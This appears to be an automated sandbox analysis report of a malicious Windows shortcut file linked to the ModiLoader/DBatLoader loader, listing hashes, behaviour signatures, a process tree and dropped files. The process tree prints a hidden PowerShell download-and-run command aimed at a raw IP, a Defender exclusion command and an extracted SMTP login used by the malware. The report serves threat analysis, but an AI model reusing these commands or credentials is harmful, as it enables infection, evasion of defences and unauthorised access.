Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-01-2025 10:36

General

  • Target

    WB-ABS-240730-NEW.lnk

  • Size

    2KB

  • MD5

    fb1f82957abd04d7fc7821770bcc0ace

  • SHA1

    f1791fbc7da30766c1938336275447b791763c83

  • SHA256

    7dc2e910ac868412c616ef80d20c76e059c1962b023ca51d8c319185aa0bcbcb

  • SHA512

    a1550140664e9a99f4af64a1786c35d36d6ed8f4399391d6616bd7a00f070393982c668a18b2064c88aeee42f9aaf0f56460a79d1c05f00105e22317823a0820

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    techniqueqatar.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    TechFB2023$$$

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • ModiLoader Second Stage 61 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\WB-ABS-240730-NEW.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://147.124.216.113/king.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:552
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\PyemlwcwF.cmd" "
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3496
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2380
          • C:\Windows \SysWOW64\svchost.pif
            "C:\Windows \SysWOW64\svchost.pif"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:4904
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\NEO.cmd
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3116
              • C:\Windows\system32\extrac32.exe
                extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.pif"
                7⤵
                  PID:4424
                • C:\Users\Public\xkn.pif
                  C:\\Users\\Public\\xkn.pif -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1004
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 10
                  7⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:4072
          • C:\Users\Public\Libraries\wcwlmeyP.pif
            C:\Users\Public\Libraries\wcwlmeyP.pif
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4996

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      8d80c45e0e047b75073a3d1c2710c68f

      SHA1

      babc73cf30327b36d184239a2747ec94d48929f4

      SHA256

      6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

      SHA512

      5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54ltuzo2.dut.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\file.exe

      Filesize

      834KB

      MD5

      0763cd65f6b5702458494123e97f2749

      SHA1

      655386a271c50570c47d9ce909f10de1719e3cc6

      SHA256

      35af2e0e56a27587170e0f093d625a6123e49af4ea8b939c30ccd9fd8e69a2ed

      SHA512

      b7578ef326ebac1543af02daafcb873b921d3c93c533ee70b73ba30d320db1b84d4a34c0e6403cf98785eae5cea69948feb3282c7ae9d29774cf395957650d02

    • C:\Users\Public\Libraries\FX.cmd

      Filesize

      8KB

      MD5

      7821e3de3812e791cf3b223500d73bc9

      SHA1

      5e211b634ce77e6fee83ce8a5b8c9a37c8b81e1d

      SHA256

      3daa7f9eee129f61f7a452f7150ee21a1c4141586a37f37842b9c3bb53152a74

      SHA512

      6eae270065401626df97b73a255578bf27b4f4dea480954843823046ad95e40cf706c1a767c8765ef3ab48ea3a18498375614317ec00a9ef29a4dd21edbc5f26

    • C:\Users\Public\Libraries\NEO.cmd

      Filesize

      27KB

      MD5

      e24fa8fb365a89779b026772b9342af3

      SHA1

      b90de3c9f3093ca8badfaf6c98218b744087e8f9

      SHA256

      10d7b4ea056fc1037109fe6e6694849d145b0745faa9ae02957104a2834a14a0

      SHA512

      a32f7a29c4c8cc831a5057b8db31f79e7dedb9172ac9705da6a8da65384ed23827c3cccdb833562cdab63addd679341707a2b46bbc8c802845cbbbbb01771d10

    • C:\Users\Public\Libraries\wcwlmeyP.pif

      Filesize

      171KB

      MD5

      22331abcc9472cc9dc6f37faf333aa2c

      SHA1

      2a001c30ba79a19ceaf6a09c3567c70311760aa4

      SHA256

      bdfa725ec2a2c8ea5861d9b4c2f608e631a183fca7916c1e07a28b656cc8ec0c

      SHA512

      c7f5baad732424b975a426867d3d8b5424aa830aa172ed0ff0ef630070bf2b4213750e123a36d8c5a741e22d3999ca1d7e77c62d4b77d6295b20a38114b7843c

    • C:\Users\Public\PyemlwcwF.cmd

      Filesize

      11KB

      MD5

      f82aeb3b12f33250e404df6ec873dd1d

      SHA1

      bcf538f64457e8d19da89229479cafa9c4cce12f

      SHA256

      23b7417b47c7efb96fb7ce395e325dc831ab2ee03eadda59058d31bdbe9c1ea6

      SHA512

      6f9d6daeed78f45f0f83310b95f47cc0a96d1db1d7f6c2e2485d7a8ecb04fee9865eec3599fee2d67f3332f68a70059f1a6a40050b93ef44d55632c24d108977

    • C:\Users\Public\xkn.pif

      Filesize

      442KB

      MD5

      04029e121a0cfa5991749937dd22a1d9

      SHA1

      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

      SHA256

      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

      SHA512

      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    • C:\Windows \SysWOW64\netutils.dll

      Filesize

      116KB

      MD5

      a88976a70aed45f610a032e438a82a95

      SHA1

      ec20b0f0d6ccc848c8ffa857ab4e771672dfa4f2

      SHA256

      f3d5a6ebcd8cab3cc9a98488b23c2de740c6ef04e33ed317a3e2a047d53d169b

      SHA512

      ec77bb81b9e6de4af8a17eb26281d10fc9a05947d588f2ee3680ada67ed28118fbc9a2d0e63bf0ecc2a4c318555a4f27e72ecf1a530a506e9b4fbf5efdb4f676

    • C:\Windows \SysWOW64\svchost.pif

      Filesize

      94KB

      MD5

      869640d0a3f838694ab4dfea9e2f544d

      SHA1

      bdc42b280446ba53624ff23f314aadb861566832

      SHA256

      0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

      SHA512

      6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

    • memory/552-3-0x000001E0A5340000-0x000001E0A5362000-memory.dmp

      Filesize

      136KB

    • memory/552-25-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

      Filesize

      10.8MB

    • memory/552-14-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

      Filesize

      10.8MB

    • memory/552-13-0x00007FFA9AA60000-0x00007FFA9B521000-memory.dmp

      Filesize

      10.8MB

    • memory/552-2-0x00007FFA9AA63000-0x00007FFA9AA65000-memory.dmp

      Filesize

      8KB

    • memory/4896-57-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-47-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-90-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-89-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-86-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-85-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-84-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-82-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-81-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-80-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-79-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-78-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-76-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-74-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-73-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-72-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-71-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-69-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-68-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-67-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-65-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-66-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-64-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-63-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-62-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-61-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-59-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-37-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-56-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-55-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-88-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-87-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-83-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-50-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-77-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-75-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-70-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-43-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-42-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-60-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-41-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-58-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-40-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-54-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-39-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-53-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-52-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-51-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-38-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-49-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-48-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-45-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-36-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-44-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-35-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-46-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-32-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-29-0x0000000000400000-0x00000000004D9000-memory.dmp

      Filesize

      868KB

    • memory/4896-27-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-26-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-34-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-33-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4896-31-0x00000000028D0000-0x00000000038D0000-memory.dmp

      Filesize

      16.0MB

    • memory/4996-487-0x0000000020F80000-0x0000000020FE0000-memory.dmp

      Filesize

      384KB

    • memory/4996-488-0x00000000210E0000-0x0000000021684000-memory.dmp

      Filesize

      5.6MB

    • memory/4996-489-0x0000000021060000-0x00000000210BE000-memory.dmp

      Filesize

      376KB

    • memory/4996-1646-0x00000000217C0000-0x0000000021826000-memory.dmp

      Filesize

      408KB

    • memory/4996-1649-0x0000000022990000-0x00000000229E0000-memory.dmp

      Filesize

      320KB

    • memory/4996-1650-0x00000000229E0000-0x0000000022A7C000-memory.dmp

      Filesize

      624KB

    • memory/4996-1652-0x0000000022AB0000-0x0000000022B42000-memory.dmp

      Filesize

      584KB

    • memory/4996-1653-0x0000000022CD0000-0x0000000022CDA000-memory.dmp

      Filesize

      40KB